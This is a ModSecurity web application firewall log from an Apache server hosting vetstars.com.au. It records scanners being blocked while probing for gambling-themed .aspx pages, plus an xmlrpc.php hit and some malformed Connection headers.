[Mon Mar 23 06:51:02.034521 2026] [:error] [pid 23439:tid 23455] [client 95.91.110.210:58094] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acByVqZv8XIzUKdgaMdF0wAAAAY"]
[Mon Mar 23 06:51:05.779799 2026] [:error] [pid 23539:tid 23550] [client 95.91.110.210:20472] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acByWX7Dh3qWGSpIAZVhvgAAAMI"]
[Mon Mar 23 06:51:08.526015 2026] [:error] [pid 23439:tid 23452] [client 95.91.110.210:20488] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acByXKZv8XIzUKdgaMdF2wAAAAM"]
[Mon Mar 23 06:51:11.359412 2026] [:error] [pid 14573:tid 14597] [client 95.91.110.210:20500] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acByX--oSmHn3q4_J1HNWwAAAVY"]
[Mon Mar 23 06:51:14.072746 2026] [:error] [pid 14573:tid 14586] [client 95.91.110.210:65466] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acByYu-oSmHn3q4_J1HNZgAAAUs"]
[Mon Mar 23 06:51:17.013940 2026] [:error] [pid 23441:tid 23521] [client 95.91.110.210:65468] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acByZRq7S-oOqSXZEr5lIAAAAJI"]
[Mon Mar 23 06:51:20.569009 2026] [:error] [pid 23439:tid 23466] [client 95.91.110.210:65470] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acByaKZv8XIzUKdgaMdF4gAAABE"]
[Mon Mar 23 06:51:23.332158 2026] [:error] [pid 14573:tid 14597] [client 95.91.110.210:41654] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acBya--oSmHn3q4_J1HNeQAAAVY"]
[Mon Mar 23 06:51:27.288852 2026] [:error] [pid 23439:tid 23469] [client 95.91.110.210:41658] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acByb6Zv8XIzUKdgaMdF5QAAABQ"]
[Mon Mar 23 06:51:30.154533 2026] [:error] [pid 57265:tid 57270] [client 95.91.110.210:41670] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acBycmNLjPJJkhuqCsjEmQAAAQM"]
[Mon Mar 23 06:51:33.103808 2026] [:error] [pid 23439:tid 23455] [client 95.91.110.210:11040] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acBydaZv8XIzUKdgaMdF6gAAAAY"]
[Mon Mar 23 07:59:38.813962 2026] [:error] [pid 14573:tid 14592] [client 117.132.188.205:61041] [client 117.132.188.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.132.188.205, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "acCCau-oSmHn3q4_J1HtCAAAAVE"]
[Mon Mar 23 08:52:55.941593 2026] [:error] [pid 35165:tid 35171] [client 192.144.148.122:52840] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acCO586udpN6Esk7JKvh0wAAAYM"]
[Mon Mar 23 09:42:00.472113 2026] [:error] [pid 35165:tid 35191] [client 170.106.197.109:56216] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acCaaM6udpN6Esk7JKv5pwAAAZc"]
[Mon Mar 23 11:05:07.674499 2026] [:error] [pid 23539:tid 23569] [client 51.77.43.72:45542] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "acCt437Dh3qWGSpIAZW8pAAAANU"]
[Mon Mar 23 11:05:09.569052 2026] [:error] [pid 14573:tid 14590] [client 51.77.43.72:45518] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "acCt5e-oSmHn3q4_J1EpCAAAAU8"]
[Mon Mar 23 11:05:11.130880 2026] [:error] [pid 57265:tid 57269] [client 51.77.43.72:45610] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "acCt52NLjPJJkhuqCsg7zwAAAQI"]
[Mon Mar 23 11:05:12.352322 2026] [:error] [pid 23440:tid 23480] [client 51.77.43.72:45614] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acCt6D49_8n8h_ttcUr4LgAAAEQ"]
[Mon Mar 23 11:05:13.270487 2026] [:error] [pid 57265:tid 57268] [client 51.77.43.72:45618] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acCt6WNLjPJJkhuqCsg71AAAAQE"]
[Mon Mar 23 11:05:14.290165 2026] [:error] [pid 23441:tid 23507] [client 51.77.43.72:45628] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acCt6hq7S-oOqSXZEr6PrAAAAIQ"]
[Mon Mar 23 11:05:15.049662 2026] [:error] [pid 57265:tid 57276] [client 51.77.43.72:48128] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acCt62NLjPJJkhuqCsg73QAAAQk"]
[Mon Mar 23 11:05:17.476125 2026] [:error] [pid 14573:tid 14587] [client 51.77.43.72:48144] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acCt7e-oSmHn3q4_J1EpGAAAAUw"]
[Mon Mar 23 11:05:18.285956 2026] [:error] [pid 57265:tid 57279] [client 51.77.43.72:48152] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acCt7mNLjPJJkhuqCsg77gAAAQw"]
[Mon Mar 23 11:05:19.269802 2026] [:error] [pid 14573:tid 14599] [client 51.77.43.72:48158] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acCt7--oSmHn3q4_J1EpHAAAAVg"]
[Mon Mar 23 11:05:20.746453 2026] [:error] [pid 57265:tid 57274] [client 51.77.43.72:48162] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acCt8GNLjPJJkhuqCsg79wAAAQc"]
[Mon Mar 23 11:05:22.367437 2026] [:error] [pid 57265:tid 57291] [client 51.77.43.72:48178] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acCt8mNLjPJJkhuqCsg7_QAAARg"]
[Mon Mar 23 11:05:25.056580 2026] [:error] [pid 23441:tid 23511] [client 51.77.43.72:33998] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acCt9Rq7S-oOqSXZEr6PrwAAAIg"]
[Mon Mar 23 11:05:25.409116 2026] [:error] [pid 23439:tid 23466] [client 51.77.43.72:33982] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acCt9aZv8XIzUKdgaMdf0gAAABE"]
[Mon Mar 23 11:05:25.558827 2026] [:error] [pid 23440:tid 23496] [client 51.77.43.72:34006] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acCt9T49_8n8h_ttcUr4NQAAAFQ"]
[Mon Mar 23 11:05:27.964452 2026] [:error] [pid 23439:tid 23469] [client 51.77.43.72:34010] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acCt96Zv8XIzUKdgaMdf1AAAABQ"]
[Mon Mar 23 11:05:28.442772 2026] [:error] [pid 14573:tid 14585] [client 51.77.43.72:34024] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acCt-O-oSmHn3q4_J1EpLAAAAUo"]
[Mon Mar 23 11:05:30.884247 2026] [:error] [pid 23539:tid 23566] [client 51.77.43.72:34040] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acCt-n7Dh3qWGSpIAZW8vAAAANI"]
[Mon Mar 23 11:05:31.919696 2026] [:error] [pid 57265:tid 57273] [client 51.77.43.72:34036] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "acCt-2NLjPJJkhuqCsg8CwAAAQY"]
[Mon Mar 23 11:05:32.279572 2026] [:error] [pid 57265:tid 57271] [client 51.77.43.72:34052] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acCt_GNLjPJJkhuqCsg8DgAAAQQ"]
[Mon Mar 23 11:05:33.610143 2026] [:error] [pid 35165:tid 35184] [client 51.77.43.72:34060] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acCt_c6udpN6Esk7JKsc6gAAAZA"]
[Mon Mar 23 11:05:35.719938 2026] [:error] [pid 57265:tid 57279] [client 51.77.43.72:50456] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acCt_2NLjPJJkhuqCsg8FgAAAQw"]
[Mon Mar 23 11:05:36.659197 2026] [:error] [pid 57265:tid 57273] [client 51.77.43.72:50470] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acCuAGNLjPJJkhuqCsg8GgAAAQY"]
[Mon Mar 23 11:05:39.011805 2026] [:error] [pid 57265:tid 57278] [client 51.77.43.72:50480] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acCuA2NLjPJJkhuqCsg8HwAAAQs"]
[Mon Mar 23 11:05:39.664131 2026] [:error] [pid 57265:tid 57269] [client 51.77.43.72:50490] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acCuA2NLjPJJkhuqCsg8IwAAAQI"]
[Mon Mar 23 11:05:42.519709 2026] [:error] [pid 23441:tid 23519] [client 51.77.43.72:50510] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acCuBhq7S-oOqSXZEr6PwQAAAJA"]
[Mon Mar 23 11:05:43.176342 2026] [:error] [pid 23439:tid 23468] [client 51.77.43.72:50496] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acCuB6Zv8XIzUKdgaMdf3QAAABM"]
[Mon Mar 23 11:05:45.286305 2026] [:error] [pid 57265:tid 57279] [client 51.77.43.72:39612] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acCuCWNLjPJJkhuqCsg8OAAAAQw"]
[Mon Mar 23 11:05:47.389248 2026] [:error] [pid 23441:tid 23527] [client 51.77.43.72:39618] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acCuCxq7S-oOqSXZEr6PzQAAAJg"]
[Mon Mar 23 11:05:47.909247 2026] [:error] [pid 23441:tid 23509] [client 51.77.43.72:39620] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acCuCxq7S-oOqSXZEr6PzwAAAIY"]
[Mon Mar 23 11:05:50.493607 2026] [:error] [pid 57265:tid 57279] [client 51.77.43.72:39648] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acCuDmNLjPJJkhuqCsg8RwAAAQw"]
[Mon Mar 23 11:05:50.600188 2026] [:error] [pid 57265:tid 57291] [client 51.77.43.72:39632] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acCuDmNLjPJJkhuqCsg8SQAAARg"]
[Mon Mar 23 11:05:53.113416 2026] [:error] [pid 57265:tid 57269] [client 51.77.43.72:39650] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acCuEWNLjPJJkhuqCsg8lQAAAQI"]
[Mon Mar 23 11:05:53.830722 2026] [:error] [pid 57265:tid 57268] [client 51.77.43.72:39666] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acCuEWNLjPJJkhuqCsg8nwAAAQE"]
[Mon Mar 23 11:05:55.872799 2026] [:error] [pid 23441:tid 23520] [client 51.77.43.72:54108] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acCuExq7S-oOqSXZEr6P2wAAAJE"]
[Mon Mar 23 11:05:58.185003 2026] [:error] [pid 23439:tid 23458] [client 51.77.43.72:54122] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "acCuFqZv8XIzUKdgaMdf6AAAAAk"]
[Mon Mar 23 11:05:58.949209 2026] [:error] [pid 35165:tid 35184] [client 51.77.43.72:54126] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acCuFs6udpN6Esk7JKsdNQAAAZA"]
[Mon Mar 23 11:06:01.900469 2026] [:error] [pid 57265:tid 57290] [client 51.77.43.72:54134] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acCuGWNLjPJJkhuqCsg8xQAAARc"]
[Mon Mar 23 11:06:02.067316 2026] [:error] [pid 23439:tid 23456] [client 51.77.43.72:54138] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "acCuGqZv8XIzUKdgaMdf7wAAAAc"]
[Mon Mar 23 11:06:25.497660 2026] [:error] [pid 57265:tid 57291] [client 51.77.43.72:54166] [client 51.77.43.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "acCuMWNLjPJJkhuqCsg9DQAAARg"]
